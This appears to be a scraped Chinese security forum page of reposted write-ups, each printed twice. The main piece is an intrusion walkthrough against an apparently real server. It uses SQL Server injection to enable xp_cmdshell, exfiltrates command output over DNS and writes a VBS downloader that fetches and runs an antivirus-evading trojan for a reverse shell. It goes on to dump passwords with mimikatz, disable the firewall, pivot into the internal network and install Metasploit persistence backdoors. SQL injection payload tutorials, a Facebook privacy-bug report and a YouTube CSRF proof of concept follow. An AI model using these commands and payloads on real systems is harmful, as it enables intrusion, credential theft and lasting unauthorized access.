exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";




直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集

ipconfig

查了一下ip,发现处在内网

查看域用户

net group /domain

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息

systeminfo


查看端口,没开3389

netstat -ano


查看相邻主机IP

arp -a


抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f




关闭防火墙:

netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由

run autoroute -s 192.168.50.2/24


使用metasploit的portscan扫描一下内网存活的主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单

run metsvc


其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191 查看全部
信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



执行系统命令


exec master..xp_cmdshell "whoami"


这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令


cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"


实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod


exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";





直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2


用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下


echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs


注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集


ipconfig


查了一下ip,发现处在内网

查看域用户


net group /domain


有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息


systeminfo



查看端口,没开3389


netstat -ano



查看相邻主机IP


arp -a



抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载


load mimikatz


然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令


mimikatz_command -f sekurlsa::logonPasswords


连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f





关闭防火墙:


netsh firewall set opmode mode=disable


尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:


portfwd add -l 3389 -p 3389 -r 192.168.50.2


这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由


run autoroute -s 192.168.50.2/24



使用metasploit的portscan扫描一下内网存活的主机


use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit



有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单


run metsvc



其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块


run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx


-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191

【转】SQL注入--搜索型

main 发表了文章 • 0 个评论 • 226 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482

【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

willeson 发表了文章 • 0 个评论 • 176 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;

[转]CSRF漏洞劫持Youtube用户的通知消息

你可以叫我风平 发表了文章 • 0 个评论 • 129 次浏览 • 2019-04-28 22:33 • 来自相关话题

 
 
[size=15]


[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。





 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:





 
  查看全部
 
 
[size=15]
1.jpg
[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
